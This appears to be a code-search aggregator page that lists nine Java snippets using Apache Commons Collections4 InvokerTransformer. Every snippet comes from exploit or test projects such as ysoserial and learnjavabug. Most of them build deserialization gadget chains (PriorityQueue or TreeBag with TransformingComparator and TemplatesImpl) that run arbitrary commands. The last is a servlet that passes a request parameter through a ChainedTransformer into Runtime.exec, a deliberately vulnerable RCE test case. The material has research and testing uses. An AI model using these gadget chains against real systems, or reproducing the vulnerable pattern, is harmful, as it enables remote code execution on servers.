org.apache.commons.collections4.functors.InvokerTransformer Java Examples

The following examples show how to use org.apache.commons.collections4.functors.InvokerTransformer. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: AttackDemo.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static Object makeGadget() throws Exception {
  Object templates = TemplatesUtil.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
  return tree;
}
Example #2
Source File: CommonCollections4.java    From learnjavabug with MIT License 6 votes vote down vote up 
public static Object getPayload() throws Exception {
  Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  return tree;
}
Example #3
Source File: CommonCollections4.java    From learnjavabug with MIT License 6 votes vote down vote up 
public static Object getPayload() throws Exception {
  Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  return tree;
}
Example #4
Source File: JndiLookupForGtJdk8u191.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static byte[] makePayload(String[] args) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(args[0]);
  // mock method name until armed
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // create queue with numbers and basic comparator
  final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  // stub data for replacement later
  queue.add(1);
  queue.add(1);

  // switch method called by comparator
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  // switch contents of queue
  final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  queueArray[0] = templates;
  queueArray[1] = 1;

  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  objectOutputStream.writeObject(queue);
  objectOutputStream.close();
  return byteArrayOutputStream.toByteArray();

}
Example #5
Source File: AttackRMIRegistry.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static Object makePayload(String[] args) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(args[0]);
  // mock method name until armed
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // create queue with numbers and basic comparator
  final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  // stub data for replacement later
  queue.add(1);
  queue.add(1);

  // switch method called by comparator
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  // switch contents of queue
  final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  queueArray[0] = templates;
  queueArray[1] = 1;
  return queue;
}
Example #6
Source File: CommonsCollections2.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
    
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #7
Source File: CommonsCollections2.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #8
Source File: CommonsCollections2.java    From ysoserial with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #9
Source File: Deserialization.java    From openrasp-testcases with MIT License 5 votes vote down vote up 
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    try {
        String id = req.getParameter("id");
        if (id != null) {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain);
            Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outmap);
            File f = new File("obj");
            ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f));
            outStream.writeObject(instance);
            outStream.flush();
            outStream.close();
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj"));
            in.readObject();
            in.close();
        }
    } catch (Exception e) {
        resp.getWriter().println(e);
    }
}